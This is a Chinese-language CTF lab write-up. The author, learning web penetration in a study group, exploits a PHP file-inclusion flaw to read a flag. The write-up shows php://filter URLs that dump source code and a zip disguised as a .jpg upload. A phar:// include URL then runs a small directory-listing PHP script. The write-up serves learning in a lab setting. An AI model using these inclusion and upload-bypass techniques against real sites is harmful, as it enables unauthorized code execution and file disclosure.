php文件包含漏洞利用

上周我们部门弄了一个web安全的兴趣小组。说实话实在惭愧我虽然在安全公司每天都面对着各种漏洞，但是对渗透技术知之又少。于是加入兴趣小组后痛下决心好好学习渗透知识。

现在记录一下上周兴趣小组出的一个测试题目。由于0基础，花了两天时间才解决。

具体要求：读取网站根目录下的一个文本文件中的flag内容，具体的flag格式类似ahflag{xxxxxxxxxxxxxx}

好的，打开测试站点看看。



就是一个文件上传的界面。只能上传图片格式

经过各种google和百度确定解题的思路

目标：利用文件包含漏洞执行上传webshell

首先可以先down源码
http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=index http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=upload
因为是base64的，所以百度找个base64在线解码，可以看到源码

源码中include($page.’.php’)知道不是任意文件包含，只能包含php文件。

那么我上传的jpg木马不能执行了。

所以要想办法截断后面的.php

在url加%00的办法，无效。可以知道php版本为5.4以上。

Google后得知可以通过zip和phar协议截断

尝试了phar方法。

先把test.php压缩成test.zip然后把后缀改为jpg这样可以成功上传。

然后在地址栏构造url
http://198.168.23.250:88/index.php?page=phar://./uP1O4Ds/7RmCG21sgY7CGhXbc6LyYPypoPZrFFMr_test.jpg/test
成功读取到目录文件。

Test.php文件内容

<?php

$dir="./";

$file=scandir($dir);

print_r($file);

?>

读出文件名

窗体底端

Array ( [0] => . [1] => .. [2] => CSS [3] => Y4ahs01_xs1.txt [4] => index.php [5] => uP1O4Ds [6] => upload.php )

于是htpp://192.168.23.250:88/Y4ahs01_xs1.txt获取到flag内容

ahflag{this_is_celuezu_leve1_1_2038}